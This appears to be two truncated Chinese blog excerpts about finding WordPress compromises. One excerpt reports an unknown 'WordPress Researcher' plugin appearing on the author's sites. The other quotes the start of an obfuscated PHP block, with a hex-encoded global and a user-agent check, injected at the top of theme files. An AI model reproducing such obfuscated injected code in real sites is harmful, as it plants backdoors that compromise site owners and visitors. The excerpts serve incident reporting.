在一次修改WordPress主题的时候，很意外的发现每个主题文件的头部都有一段这样的代码： if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"…

WordPress是世界上最流行的CMS（这应该不会引起类似“PHP是最好的语言”的论战吧？），所以WordPress理所当然的会受到黑客的”特别对待“，最近在我管理的几个WordPress站点上莫名其妙的多了一个插件，插件名称为“WordPress Researcher”，乍…